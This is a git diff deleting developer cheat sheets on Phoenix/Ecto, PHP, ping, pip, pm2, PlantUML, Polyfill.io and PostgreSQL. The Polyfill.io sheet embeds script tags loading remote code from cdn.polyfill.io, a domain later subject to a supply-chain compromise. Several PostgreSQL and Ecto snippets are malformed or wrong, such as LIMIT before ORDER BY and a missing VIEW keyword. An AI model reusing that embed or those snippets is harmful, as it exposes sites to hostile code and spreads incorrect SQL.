-title: 'Phoenix: Ecto migrations'
-category: Elixir
-
-weight: -1
----
-
-### Creating
-
-```bash
-$ mix ecto.gen.migration update_posts_table
-  creating priv/repo/migrations/20160602085927_update_posts_table.exs
-  ···
-```
-
-```bash
-$ mix ecto.migrate
-$ mix ecto.rollback
-```
-
-Creates a migration (no models).
-
-### Creating models
-
-```bash
-$ mix phoenix.gen.model Message messages user_id:integer content:text
-```
-
-This is only for Phoenix 1.2 or older; models aren't available in Phoenix 1.3+.
-
-### Creating context
-
-```bash
-$ mix phx.gen.context Images Album albums title:string subtitle:string privacy:string
-```
-
-## Migration functions
-
-### Creating tables
-
-```elixir
-create table(:documents) do
-  add :title, :string
-  add :title, :string, size: 40
-  add :title, :string, default: "Hello"
-  add :title, :string, default: fragment("now()")
-  add :title, :string, null: false
-  add :body, :text
-  add :age, :integer
-  add :price, :float
-  add :price, :float
-  add :price, :decimal, precision: 10, scale: 2
-  add :published_at, :utc_datetime
-  add :group_id, references(:groups)
-  add :object, :json
-
-  timestamps  # inserted_at and updated_at
-end
-
-create_if_not_exists table(:documents) do: ... end
-```
-
-### Other operations
-
-```elixir
-alter table(:posts) do
-  add :summary, :text
-  modify :title, :text
-  remove :views
-end
-```
-
-```elixir
-rename table(:posts), :title, to: :summary
-rename table(:posts), to: table(:new_posts)
-```
-
-```elixir
-drop table(:documents)
-drop_if_exists table(:documents)
-```
-
-```elixir
-table(:documents)
-table(:weather, prefix: :north_america)
-```
-
-### Indices
-
-```elixir
-create index(:posts, [:slug], concurrently: true)
-create unique_index(:posts, [:slug])
-drop index(:posts, [:name])
-```
-
-### Execute SQL
-
-```elixir
-execute "UPDATE posts SET published_at = NULL"
-execute create: "posts", capped: true, size: 1024
-```
-
-## References
-
--   [Ecto.Migration](http://devdocs.io/phoenix/ecto/ecto.migration)
diff --git a/docs/content/cheat-sheets/phoenix-routing.md b/docs/content/cheat-sheets/phoenix-routing.md
deleted file mode 100644
index 849fea98e0..0000000000
--- a/docs/content/cheat-sheets/phoenix-routing.md
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: 'Phoenix: Routing'
-category: Elixir
-
-weight: -1
----
-
-### Showing routes
-
-```sh
-mix phx.routes        # 1.3+
-mix phoenix.routes    # 1.2 and below
-```
-
-See: [Mix.Tasks.Phoenix.Routes](https://hexdocs.pm/phoenix/Mix.Tasks.Phoenix.Routes.html) _(hexdocs.pm)_
-
-### Single routes
-
-```elixir
-get "/", PageController, :index
-```
-
-Also: `put` `post` `patch` `options` `delete` `head`
-
-### Resources
-
-```elixir
-resources "/users", UserController
-resources "/users", UserController, only: [:index, :show]
-resources "/users", UserController, except: [:delete]
-```
-
-```elixir
-resources "/users", UserController,
-  as: :person    # helper name (person_path)
-  name: :person  # ...?
-  param: :id     # name of parameter for this resource
-```
-
-Generates these routes:
-
-| Method    | Path              | Helper                     |
-| --------- | ----------------- | -------------------------- |
-| GET       | `/users`          | `user_path(:index)`        |
-| GET       | `/users/new`      | `user_path(:new)`          |
-| GET       | `/users/:id`      | `user_path(:show, user)`   |
-| GET       | `/users/:id/edit` | `user_path(:edit, user)`   |
-| POST      | `/users`          | `user_path(:create, user)` |
-| PATCH/PUT | `/users/:id`      | `user_path(:update, user)` |
-| DELETE    | `/users/:id`      | `user_path(:delete, user)` |
-
-{: .-left-align}
-
-See: [resources/4](https://hexdocs.pm/phoenix/Phoenix.Router.html#resources/4) _(hexdocs.pm)_
-
-### Path helpers
-
-```elixir
-user_path(conn, :index)                 # → /users
-user_path(conn, :show, 17)              # → /users/17
-user_path(conn, :show, %User{id: 17})   # → /users/17
-user_path(conn, :show, 17, admin: true) # → /users/17?admin=true
-```
-
-```elixir
-user_url(conn, :index) # → "http://localhost:4000/users"
-```
-
-```elixir
-MyApp.Router.Helpers.user_path(MyApp.Endpoint, :index)
-```
-
-See: [Helpers](https://hexdocs.pm/phoenix/Phoenix.Router.html#module-helpers) _(hexdocs.pm)_
-
-### Nested resources
-
-```elixir
-resources "/users", UserController do
-  resources "/posts", PostController
-end
-```
-
-```elixir
-user_post_path(:index, 17)     # → /users/17/posts
-user_post_path(:show, 17, 12)  # → /users/17/posts/12
-```
-
-See: [Scopes and resources](https://hexdocs.pm/phoenix/Phoenix.Router.html#module-scopes-and-resources) _(hexdocs.pm)_
-
-### Scoped routes
-
-```elixir
-scope "/admin" do
-  pipe_through :browser
-  resources "/reviews", MyApp.Admin.ReviewController
-end
-# reviews_path() -> /admin/reviews
-```
-
-```elixir
-scope "/admin", as: :admin do: ... end
-# admin_reviews_path() -> /admin/reviews
-```
-
-See: [scope/2](https://hexdocs.pm/phoenix/Phoenix.Router.html#scope/2) _(hexdocs.pm)_
diff --git a/docs/content/cheat-sheets/phoenix.md b/docs/content/cheat-sheets/phoenix.md
deleted file mode 100644
index b45b18c64e..0000000000
--- a/docs/content/cheat-sheets/phoenix.md
+++ /dev/null
@@ -1,141 +0,0 @@
----
-title: Phoenix
-category: Elixir
-
-weight: -1
----
-
-### Quick start
-
-```bash
-# Install Phoenix
-mix local.hex
-mix archive.install https://github.com/phoenixframework/archives/raw/master/phx_new.ez
-```
-
-```bash
-# Create a new project
-mix phx.new hello
-```
-
-```bash
-# Start the application
-mix phx.server
-```
-
-Install Erlang, Elixir, Node.js, PostgreSQL first.
-See: [Installation](https://hexdocs.pm/phoenix/installation.html) _(hexdocs.pm)_
-
-### Directory structure
-
-```
-./
-├── _build
-├── assets/
-│   ├── css/
-│   ├── js/
-│   ├── static/
-│   └── node_modules/
-├── config/
-├── deps/
-├── lib/
-│   ├── hello/
-│   ├── hello.ex
-│   ├── hello_web/
-│   │   ├── channels/
-│   │   ├── controllers/
-│   │   ├── templates/
-│   │   ├── views/
-│   │   ├── router.ex
-│   │   └── gettext.ex
-│   └── hello_web.ex
-├── priv/
-└── test/
-```
-
-{: .-box-chars}
-
-See: [Adding pages](https://hexdocs.pm/phoenix/adding_pages.html) _(hexdocs.pm)_
-
-### Migrations
-
-```bash
-$ mix ecto.gen.migration update_posts_table
-  creating priv/repo/migrations/20160602085927_update_posts_table.exs
-  ···
-```
-
-```elixir
-create table(:documents) do
-  add :title, :string
-  add :title, :string, default: "Hello"
-  add :body, :text
-  add :age, :integer
-  add :price, :float, precision: 10, scale: 2
-  timestamps
-end
-```
-
-[Ecto migrations cheatsheet](./phoenix-migrations)
-{: .-crosslink}
-
-### Routing
-
-```elixir
-get "/", PageController, :index
-
-resources "/users", UserController do
-  resources "/posts", PostController
-end
-```
-
-```elixir
-user_post_path(conn, :index, 17)     # → /users/17/posts
-user_post_path(conn, :show, 17, 12)  # → /users/17/posts/12
-```
-
-[Phoenix routing cheatsheet](./phoenix-routing)
-{: .-crosslink}
-
-### Conn
-
-```elixir
-conn.host          # → "example.com"
-conn.method        # → "GET"
-conn.path_info     # → ["posts", "1"]
-conn.request_path  # → "/posts/1"
-```
-
-```elixir
-conn
-|> put_status(202)
-|> html("<html><head>···")
-|> json(%{ message: "Hello" })
-|> text("Hello")
-|> redirect(to: "/foo")
-|> render("index.html")
-|> render("index.html", hello: "world")
-|> render(MyApp.ErrorView, "404.html")
-```
-
-[Phoenix conn cheatsheet](./phoenix-conn)
-{: .-crosslink}
-
-### Ecto
-
-```bash
-$ mix phx.gen.html \
-    Accounts \       # domain
-    Profile \        # schema
-    profiles \       # table name
-    email:string \
-    age:integer
-```
-
-[Ecto cheatsheet](./phoenix-ecto)
-{: .-crosslink}
-
-### Also see
-
--   [Phoenix framework site](http://phoenixframework.org/) _(phoenixframework.org)_
--   [Phoenix: getting started](https://hexdocs.pm/phoenix/overview.html) _(hexdocs.pm)_
diff --git a/docs/content/cheat-sheets/php.md b/docs/content/cheat-sheets/php.md
deleted file mode 100644
index 799c6797a9..0000000000
--- a/docs/content/cheat-sheets/php.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# To view the php version:
-
-php -v
-
-# To view the installed php modules:
-
-php -m
-
-# To view phpinfo() information:
-
-php -i
-
-# To lint a php file:
-
-php -l file.php
-
-# To lint all php files within the cwd:
-
-find . -name "\*.php" -print0 | xargs -0 -n1 -P8 php -l
-
-# To enter an interactive shell:
-
-php -a
-
-# To locate the system's php.ini files:
-
-php -i | grep "php.ini"
-
-# To start a local webserver for the cwd on port 3000 (requires php >= 5.4):
-
-php -S localhost:3000
diff --git a/docs/content/cheat-sheets/ping.md b/docs/content/cheat-sheets/ping.md
deleted file mode 100644
index 39cf8e66c9..0000000000
--- a/docs/content/cheat-sheets/ping.md
+++ /dev/null
@@ -1,15 +0,0 @@
----
-tags: [networking]
----
-
-# To ping <host> with 15 packets:
-
-ping -c 15 <host>
-
-# To ping <host> with 15 packets, one every .5 seconds:
-
-ping -c 15 -i .5 <host>
-
-# To test if a packet size of 1500 bytes is supported (to check the MTU for example):
-
-ping -s 1500 -c 10 -M do <host>
diff --git a/docs/content/cheat-sheets/ping6.md b/docs/content/cheat-sheets/ping6.md
deleted file mode 100644
index 75da304c22..0000000000
--- a/docs/content/cheat-sheets/ping6.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-tags: [networking]
----
-
-# To Get all ipv6 neighbors via broadcast ping:
-
-ping6 -I eth0 ff02::1
diff --git a/docs/content/cheat-sheets/pip.md b/docs/content/cheat-sheets/pip.md
deleted file mode 100644
index d5ccefc523..0000000000
--- a/docs/content/cheat-sheets/pip.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-tags: [packaging]
----
-
-# To search for a package:
-
-pip search <package>
-
-# To install packages:
-
-pip install <package>...
-
-# To install a package in user space:
-
-pip install --user <package>
-
-# To upgrade a package:
-
-pip install --upgrade <package>
-
-# To output and install packages in a requirement file:
-
-pip freeze > requirements.txt
-pip install -r requirements.txt
-
-# To show details of a package:
-
-pip show <package>
-
-# To list outdated packages:
-
-pip list --outdated
-
-# To upgrade all outdated packages:
-
-pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
-
-# To upgrade outdated packages on latest version of pip:
-
-pip list --outdated --format=freeze | cut -d = -f 1 | xargs -n1 pip install -U
-
-# To install specific version of a package:
-
-pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4'
diff --git a/docs/content/cheat-sheets/pkcon.md b/docs/content/cheat-sheets/pkcon.md
deleted file mode 100644
index f6cb2ce556..0000000000
--- a/docs/content/cheat-sheets/pkcon.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-tags: [packaging]
----
-
-# To update cached information about available updates:
-
-pkcon refresh
-
-# To update installed packages:
-
-pkcon update
diff --git a/docs/content/cheat-sheets/pkgtools.md b/docs/content/cheat-sheets/pkgtools.md
deleted file mode 100644
index b4c5c66be1..0000000000
--- a/docs/content/cheat-sheets/pkgtools.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-tags: [packaging]
----
-
-# To create a Slackware package from a structured directory and sub-tree:
-
-cd <dir>
-su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz'
-
-# To install a Slackware package:
-
-installpkg foo-1.0.3-x86_64-1.tgz
-
-# To install a Slackware package to non-standard location:
-
-ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz
-
-# To create backup of files that will be overwritten when installing:
-
-tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz)
-
-# To upgrade a Slackware package including files only in new version:
-
-upgradepkg --install-new foo-1.0.6-noarch-1.tgz
-
-# To upgrade a Slackware package even if version is the same:
-
-upgradepkg --reinstall foo-1.0.4-noarch-1.tgz
-
-# To remove a Slackware package:
-
-removepkg foo-0.2.8-x86_64-1
-
-# To remove a Slackware package, retaining a backup (uninstalled) copy:
-
-removepkg -copy foo-0.2.8-x86_64-1 # -> /var/log/setup/tmp/preserved_packages/foo...
diff --git a/docs/content/cheat-sheets/pkill.md b/docs/content/cheat-sheets/pkill.md
deleted file mode 100644
index 65555da5ed..0000000000
--- a/docs/content/cheat-sheets/pkill.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# To kill a process using its full process name:
-
-pkill <process-name>
-
-# To kill a process by its partial name:
-
-pkill -f <string>
diff --git a/docs/content/cheat-sheets/plantuml.md b/docs/content/cheat-sheets/plantuml.md
deleted file mode 100644
index c20d663b0e..0000000000
--- a/docs/content/cheat-sheets/plantuml.md
+++ /dev/null
@@ -1,92 +0,0 @@
----
-title: PlantUML
----
-
-### Format
-
-    @startuml
-    Car : drive()
-    Dog : bark()
-    @enduml
-
-    # plantuml file.uml && open file.png
-
-## Classes
-
--   http://plantuml.sourceforge.net/classes.html
-
-### Methods
-
-    Car : drive()
-
-### Methods (alt)
-
-    class Car {
-      String make
-      year : Integer
-      void drive()
-
-      -private()
-      #protected()
-      ~package private()
-      +public()
-
-      {static} String id
-      {abstract} void methods()
-    }
-
-### Lines
-
-    class Car {
-      These are separated by lines.
-      The next line is a dotted line
-      ..
-      Next is a double-stroke
-      ==
-      Next is a plain line
-      --
-      Next is a strong line
-      __
-      You can make headers with it
-      .. header ..
-    }
-
-### Associations
-
-    Car <|-- SmallCar      # extension
-    Car *-- Engine         # composition
-    Cars o-- Car           # aggregation
-    Car <|.. SmallCar      # dotted line (use .. instead of --)
-    Car <|--* Car
-
-    -left->
-    -right->
-
-### Relations
-
-    Driver - Car : drives >
-    Car -- Owner : < owns
-    Car *-- Wheel : has 4 >
-
-### Notes
-
-    class Car {
-    }
-    note left: Something something
-
-    note top of Car : This is a car.
-
-### Namespaces
-
-    namespace Client {
-      class Driver {
-      }
-    }
-
-    Car -- Client.Driver : owns >
-
-## Activities
-
-    (*) --> "First Activity"
-    -->[You can put also labels] "Second Activity"
-    --> (*)
diff --git a/docs/content/cheat-sheets/pm2.md b/docs/content/cheat-sheets/pm2.md
deleted file mode 100644
index 1cf8ffe13a..0000000000
--- a/docs/content/cheat-sheets/pm2.md
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: pm2
-category: CLI
-
-authors: { github: 'Dr-Dino' }
----
-
-### Fork mode
-
-| Command                          | Description              |
-| -------------------------------- | ------------------------ |
-| `pm2 start app.js --name my-api` | Start and name a process |
-
-### Cluster mode
-
-| Command                 | Description                                                      |
-| ----------------------- | ---------------------------------------------------------------- |
-| `pm2 start app.js -i 0` | Will start maximum processes with LB depending on available CPUs |
-
-### Listing
-
-| Command          | Description                                      |
-| ---------------- | ------------------------------------------------ |
-| `pm2 list`       | Display all processes status                     |
-| `pm2 jlist`      | Print process list in raw JSON                   |
-| `pm2 prettylist` | Print process list in beautified JSON            |
-| ---              | ---                                              |
-| `pm2 describe 0` | Display all information about a specific process |
-| ---              | ---                                              |
-| `pm2 monit`      | Monitor all processes                            |
-
-### Logs
-
-| Command            | Description                             |
-| ------------------ | --------------------------------------- |
-| `pm2 logs [--raw]` | Display all processes logs in streaming |
-| `pm2 flush`        | Empty all log files                     |
-| `pm2 reloadLogs`   | Reload all logs                         |
-
-### Actions
-
-| Command           | Description                                  |
-| ----------------- | -------------------------------------------- |
-| `pm2 stop all`    | Stop all processes                           |
-| `pm2 restart all` | Restart all processes                        |
-| ---               | ---                                          |
-| `pm2 reload all`  | Will 0s downtime reload (for NETWORKED apps) |
-| ---               | ---                                          |
-| `pm2 stop 0`      | Stop specific process id                     |
-| `pm2 restart 0`   | Restart specific process id                  |
-| ---               | ---                                          |
-| `pm2 delete 0`    | Will remove process from pm2 list            |
-| `pm2 delete all`  | Will remove all processes from pm2 list      |
-| ---               | ---                                          |
-| `pm2 save`        | Save processes list to respawn at reboot     |
-
-### Misc
-
-| Command                             | Description                                                  |
-| ----------------------------------- | ------------------------------------------------------------ |
-| `pm2 reset <process>`               | Reset meta data (restarted time...)                          |
-| `pm2 updatePM2`                     | Update in memory pm2                                         |
-| `pm2 ping`                          | Ensure pm2 daemon has been launched                          |
-| `pm2 sendSignal SIGUSR2 my-app`     | Send system signal to script                                 |
-| ---                                 | ---                                                          |
-| `pm2 start app.js --no-daemon`      | Run pm2 daemon in the foreground if it doesn't exist already |
-| `pm2 start app.js --no-vizion`      | Skip vizion features (versioning control)                    |
-| `pm2 start app.js --no-autorestart` | Do not automatically restart app                             |
diff --git a/docs/content/cheat-sheets/polyfill.io.md b/docs/content/cheat-sheets/polyfill.io.md
deleted file mode 100644
index fb77e0f69e..0000000000
--- a/docs/content/cheat-sheets/polyfill.io.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Polyfill.io
-category: JavaScript libraries
-
-intro: |
-    [Polyfill.io](https://polyfill.io) is a service that serves JavaScript polyfills.
----
-
-## Usage
-
-### Default usage
-
-```html
-<script src="https://cdn.polyfill.io/v2/polyfill.min.js"></script>
-```
-
-{: .-wrap}
-
-This is the default script for Polyfill.io.
-
-### References
-
--   [API example](https://polyfill.io/v2/docs/api) _(polyfill.io)_
--   [List of features](https://polyfill.io/v2/docs/features) _(polyfill.io)_
-
-## Optimized
-
-### For modern browsers
-
-```html
-<script>
-    if (!(window.Promise && [].includes && Object.assign && window.Map)) {
-        document.write('<script src="https://cdn.polyfill.io/v2/polyfill.min.js"></scr' + 'ipt>');
-    }
-</script>
-```
-
-This only includes polyfill.io when necessary, skipping it for modern browsers for faster load times.
-
-### Extra features
-
-```html
-<script>
-    if (!(window.fetch && window.Promise && [].includes && Object.assign && window.Map)) {
-        document.write('<script src="https://cdn.polyfill.io/v2/polyfill.min.js?features=default,fetch"></scr' + 'ipt>');
-    }
-</script>
-```
-
-This is the same as the previous, but also adds a polyfill for `window.fetch()`. We add a `window.fetch` check and loads the additional `fetch` feature.
diff --git a/docs/content/cheat-sheets/popd.md b/docs/content/cheat-sheets/popd.md
deleted file mode 100644
index 379136d725..0000000000
--- a/docs/content/cheat-sheets/popd.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# To return to the directory at the top of the `pushd' stack:
-
-popd
diff --git a/docs/content/cheat-sheets/postgres.md b/docs/content/cheat-sheets/postgres.md
deleted file mode 100644
index 76b2be7e18..0000000000
--- a/docs/content/cheat-sheets/postgres.md
+++ /dev/null
@@ -1 +0,0 @@
-# POSTGRES
diff --git a/docs/content/cheat-sheets/postgresql-json.md b/docs/content/cheat-sheets/postgresql-json.md
deleted file mode 100644
index ade9b05c8b..0000000000
--- a/docs/content/cheat-sheets/postgresql-json.md
+++ /dev/null
@@ -1,119 +0,0 @@
----
-title: PostgreSQL JSON
-
-prism_languages: [sql]
-category: Databases
----
-
-## Operators
-
-### Accessors
-
-```sql
-SELECT * FROM users WHERE data->>'name' = 'John';
-SELECT data->>'name' AS name FROM users;
-```
-
-{: .-setup}
-
-| Operator      | Description                        | Example         | Returns |
-| ------------- | ---------------------------------- | --------------- | ------- |
-| `->` _int_    | Get array element `2`              | `data->2`       | JSON    |
-| `->` _text_   | Get object key `name`              | `data->'name'`  | JSON    |
-| `#>` _text[]_ | Get keypath `a,b` (eg, `data.a.b`) | `data#>'{a,b}'` | JSON    |
-
-| -
-| `->>` _int_ | Get array element `2` | `data->>2` | Text |
-| `->>` _text_ | Get object key `name` | `data->>'name'` | Text |
-| `#>>` _text[]_ | Get keypath `a,b` (eg, `data.a.b`) | `data#>>'{a,b}'` | Text |
-{: .-headers.-shortcuts}
-
-`>` returns JSON, `>>` returns text.
-
-### Boolean operators
-
-```sql
-SELECT * FROM users WHERE data->tags ? 'admin';
-SELECT data->tags ? 'admin' AS is_admin FROM users;
-```
-
-{: .-setup}
-
-| Operator      | Description                   | Example                          |
-| ------------- | ----------------------------- | -------------------------------- | ------- | --------------- |
-| `?` _str_     | Does `data` have key `name`?  | `data ? 'name'`                  |
-| `?            | ` _text[]_                    | Does `data` have `a` or `b`?     | `data ? | array['a','b']` |
-| `?&` _text[]_ | Does `data` have `a` and `b`? | `data ?& array['a','b']`         |
-| `@>` _jsonb_  | Does `left` include `right`?  | `data @> '{"b":2}'::jsonb`       |
-| `<@` _jsonb_  | Does `right` include `left`?  | `data <@ '{"a":1,"b":2}'::jsonb` |
-
-{: .-headers.-shortcuts.-left-align}
-
-When `?`/`?|`/`?&` works on objects, it checks keys; when it works on arrays, it checks for elements.
-
-## Updating
-
-### Arrays and objects
-
-```sql
-UPDATE users SET tags = tags || array['admin'];
-```
-
-{: .-setup}
-
-| Operator      | Example               | Description          |
-| ------------- | --------------------- | -------------------- | ----- | --- | --------------- | ----------- |
-| `             |                       | ` _json_             | `data |     | array['a','b']` | Concatenate |
-| `-` _str_     | `data - 'a'`          | Delete a key         |
-| `-` _int_     | `data - 1`            | Delete an array item |
-| `#-` _text[]_ | `data #- '{us,name}'` | Delete a path        |
-
-{: .-headers.-shortcuts}
-
-Only available in PostgreSQL 9.5+.
-
-### jsonb_set
-
-```sql
-UPDATE users SET data = jsonb_set(data, '{name}', '"John"');
-```
-
-Only available in PostgreSQL 9.5+.
-
-## Functions
-
-#### fn(json) → json
-
-```sql
-jsonb_set(data, '{path}', value)
-jsonb_strip_nulls(data)
-```
-
-#### fn(···) → json
-
-```sql
-to_json("Hello"::text)
-array_to_json('{1,2}'::int[])
-```
-
-#### Iteration
-
-```sql
-SELECT * from json_each('{"a":1, "b":2}')
-SELECT * from json_each_text('{"a":1, "b":2}')
--- key | value
-```
-
-This is an incomplete list, there's way too many!
-
-See: [JSON functions](https://www.postgresql.org/docs/9.5/static/functions-json.html)
-
-## More examples
-
--   `'{"a":1}'::jsonb ? 'a'`
--   `'["a"]'::jsonb ? 'a'`
-
-## References
-
--   <https://www.postgresql.org/docs/9.5/static/functions-json.html>
--   <https://www.postgresql.org/docs/9.5/static/datatype-json.html>
diff --git a/docs/content/cheat-sheets/postgresql.md b/docs/content/cheat-sheets/postgresql.md
deleted file mode 100644
index dcc3e79ced..0000000000
--- a/docs/content/cheat-sheets/postgresql.md
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: PostgreSQL
-category: Databases
----
-
-Replace anything within `<placeholder>` accordingly
-
-### Console
-
-    $ psql #logs in to default database & default user
-    $ sudo -u <rolename:postgres> psql #logs in with a particular user
-
-### Commands
-
--   Show roles: `\du`
--   Show tables: `\dt`
--   Show databases: `\l`
--   Connect to a database: `\c <database>`
--   Show columns of a table: `\d <table>` or `\d+ <table>`
--   Quit: `\q`
-
-### Creating database
-
-     $ createdb databasename
diff --git a/docs/content/cheat-sheets/postgresql_cheatsheet.md b/docs/content/cheat-sheets/postgresql_cheatsheet.md
deleted file mode 100644
index d7b7f74da7..0000000000
--- a/docs/content/cheat-sheets/postgresql_cheatsheet.md
+++ /dev/null
@@ -1,431 +0,0 @@
-# postgreSQL_cheatsheet
-
-### \PostgreSQL commands\\\\\\
-
-Create a new [role](https://www.postgresqltutorial.com/postgresql-roles/):
-
-```
-CREATE ROLE role_name;
-```
-
-Create a new role with a `username` and `password`:
-
-```
-CREATE ROLE username NOINHERIT LOGIN PASSWORD password;
-```
-
-Change role for the current session to the `new_role`:
-
-```
-SET ROLE new_role;
-```
-
-Allow `role_1` to set its role as `role_2:`
-
-```
-GRANT role_2 TO role_1;
-```
-
-\===========================
-
-### Managing databases
-
-\=========================== [Create a new database](https://www.postgresqltutorial.com/postgresql-create-database/):
-
-```
-CREATE DATABASE [IF NOT EXISTS] db_name;
-```
-
-[Delete a database permanently](https://www.postgresqltutorial.com/postgresql-drop-database/):
-
-```
-DROP DATABASE [IF EXISTS] db_name;
-```
-
-\===========================
-
-### Managing tables
-
-\=========================== [Create a new table](https://www.postgresqltutorial.com/postgresql-create-table/) or a [temporary table](https://www.postgresqltutorial.com/postgresql-temporary-table/)
-
-```
-CREATE [TEMP] TABLE [IF NOT EXISTS] table_name(
-       pk SERIAL PRIMARY KEY,
-   c1 type(size) NOT NULL,
-   c2 type(size) NULL,
-   ...
-);
-```
-
-[Add a new column](https://www.postgresqltutorial.com/postgresql-add-column/) to a table:
-
-```
-ALTER TABLE table_name ADD COLUMN new_column_name TYPE;
-```
-
-[Drop a column](https://www.postgresqltutorial.com/postgresql-drop-column/) in a table:
-
-```
-ALTER TABLE table_name DROP COLUMN column_name;
-```
-
-[Rename a column](https://www.postgresqltutorial.com/postgresql-rename-column/):
-
-```
-ALTER TABLE table_name RENAME column_name TO new_column_name;
-```
-
-Set or remove a default value for a column:
-
-```
-ALTER TABLE table_name ALTER COLUMN [SET DEFAULT value | DROP DEFAULT]
-```
-
-Add a [primary key ](https://www.postgresqltutorial.com/postgresql-primary-key/)to a table.
-
-```
-ALTER TABLE table_name ADD PRIMARY KEY (column,...);
-```
-
-Remove the primary key from a table.
-
-```
-ALTER TABLE table_name
-DROP CONSTRAINT primary_key_constraint_name;
-```
-
-[Rename a table](https://www.postgresqltutorial.com/postgresql-rename-table/).
-
-```
-ALTER TABLE table_name RENAME TO new_table_name;
-```
-
-[Drop a table](https://www.postgresqltutorial.com/postgresql-drop-table/) and its dependent objects:
-
-```
-DROP TABLE [IF EXISTS] table_name CASCADE;
-```
-
-\===========================
-
-### Managing views
-
-\=========================== [Create a view](https://www.postgresqltutorial.com/managing-postgresql-views/):
-
-```
-CREATE OR REPLACE view_name AS
-query;
-```
-
-[Create a recursive view](https://www.postgresqltutorial.com/postgresql-recursive-view/):
-
-```
-CREATE RECURSIVE VIEW view_name(column_list) AS
-SELECT column_list;
-```
-
-[Create a materialized view](https://www.postgresqltutorial.com/postgresql-materialized-views/):
-
-```
-CREATE MATERIALIZED VIEW view_name
-AS
-query
-WITH [NO] DATA;
-```
-
-Refresh a materialized view:
-
-```
-REFRESH MATERIALIZED VIEW CONCURRENTLY view_name;
-```
-
-Drop a view:
-
-```
-DROP VIEW [ IF EXISTS ] view_name;
-```
-
-Drop a materialized view:
-
-```
-DROP MATERIALIZED VIEW view_name;
-```
-
-Rename a view:
-
-```
-ALTER VIEW view_name RENAME TO new_name;
-```
-
-\===========================
-
-### Managing indexes
-
-\=========================== Creating an index with the specified name on a table
-
-```
-CREATE [UNIQUE] INDEX index_name
-ON table (column,...)
-```
-
-Removing a specified index from a table
-
-```
-DROP INDEX index_name;
-```
-
-\===========================
-
-### Querying data from tables
-
-\=========================== Query all data from a table:
-
-```
-SELECT * FROM table_name;
-```
-
-Query data from specified columns of all rows in a table:
-
-```
-SELECT column_list
-FROM table;
-```
-
-Query data and select only unique rows:
-
-```
-SELECT DISTINCT (column)
-FROM table;
-```
-
-Query data from a table with a filter:
-
-```
-SELECT *
-FROM table
-WHERE condition;
-```
-
-Assign an [alias](https://www.postgresqltutorial.com/postgresql-alias/) to a column in the result set:
-
-```
-SELECT column_1 AS new_column_1, ...
-FROM table;
-```
-
-Query data using the [`LIKE`](https://www.postgresqltutorial.com/postgresql-like/) operator:
-
-```
-SELECT * FROM table_name
-WHERE column LIKE '%value%'
-```
-
-Query data using the [`BETWEEN`](https://www.postgresqltutorial.com/postgresql-between/) `` operator:
-
-```
-SELECT * FROM table_name
-WHERE column BETWEEN low AND high;
-```
-
-Query data using the [`IN`](https://www.postgresqltutorial.com/postgresql-in/) `` operator:
-
-````
-SELECT * FROM table_name
-WHERE column IN (value1, value2,...);
-```js
-
-constrain the returned rows with the [`LIMIT`](https://www.postgresqltutorial.com/postgresql-limit/) clause:
-
-````
-
-SELECT \* FROM table_name
-LIMIT limit OFFSET offset
-ORDER BY column_name;
-
-```
-
-Query data from multiple using the [inner join](https://www.postgresqltutorial.com/postgresql-inner-join/), [left join](https://www.postgresqltutorial.com/postgresql-left-join/), [full outer join](https://www.postgresqltutorial.com/postgresql-full-outer-join/), [cross join](https://www.postgresqltutorial.com/postgresql-cross-join/) and [natural join](https://www.postgresqltutorial.com/postgresql-natural-join/):
-
-```
-
-SELECT _
-FROM table1
-INNER JOIN table2 ON conditions
-SELECT _
-FROM table1
-LEFT JOIN table2 ON conditions
-SELECT _
-FROM table1
-FULL OUTER JOIN table2 ON conditions
-SELECT _
-FROM table1
-CROSS JOIN table2;
-SELECT \*
-FROM table1
-NATURAL JOIN table2;
-
-```
-
-Return the number of rows of a table.
-
-```
-
-SELECT COUNT (\*)
-FROM table_name;
-
-```
-
-Sort rows in ascending or descending order:
-
-```
-
-SELECT select_list
-FROM table
-ORDER BY column ASC [DESC], column2 ASC [DESC],...;
-
-```
-
-Group rows using [`GROUP BY`](https://www.postgresqltutorial.com/postgresql-group-by/) clause.
-
-```
-
-SELECT \*
-FROM table
-GROUP BY column_1, column_2, ...;
-
-```
-
-Filter groups using the [`HAVING`](https://www.postgresqltutorial.com/postgresql-having/) clause.
-
-```
-
-SELECT \*
-FROM table
-GROUP BY column_1
-HAVING condition;
-
-```
-
-\===========================
-
-### Set operations
-
-\=========================== Combine the result set of two or more queries with [`UNION`](https://www.postgresqltutorial.com/postgresql-union/) operator:
-
-```
-
-SELECT _ FROM table1
-UNION
-SELECT _ FROM table2;
-
-```
-
-Minus a result set using [`EXCEPT`](https://www.postgresqltutorial.com/postgresql-tutorial/postgresql-except/) operator:
-
-```
-
-SELECT _ FROM table1
-EXCEPT
-SELECT _ FROM table2;
-
-```
-
-Get intersection of the result sets of two queries:
-
-```
-
-SELECT _ FROM table1
-INTERSECT
-SELECT _ FROM table2;
-
-```
-
-\===========================
-
-### Modifying data
-
-\=========================== [Insert a new row into a table](https://www.postgresqltutorial.com/postgresql-insert/):
-
-```
-
-INSERT INTO table(column1,column2,...)
-VALUES(value_1,value_2,...);
-
-```
-
-Insert multiple rows into a table:
-
-```
-
-INSERT INTO table_name(column1,column2,...)
-VALUES(value_1,value_2,...),
-(value_1,value_2,...),
-(value_1,value_2,...)...
-
-```
-
-[Update](https://www.postgresqltutorial.com/postgresql-update/) data for all rows:
-
-```
-
-UPDATE table_name
-SET column_1 = value_1,
-...;
-
-```
-
-Update data for a set of rows specified by a condition in the `WHERE` clause.
-
-```
-
-UPDATE table
-SET column_1 = value_1,
-...
-WHERE condition;
-
-```
-
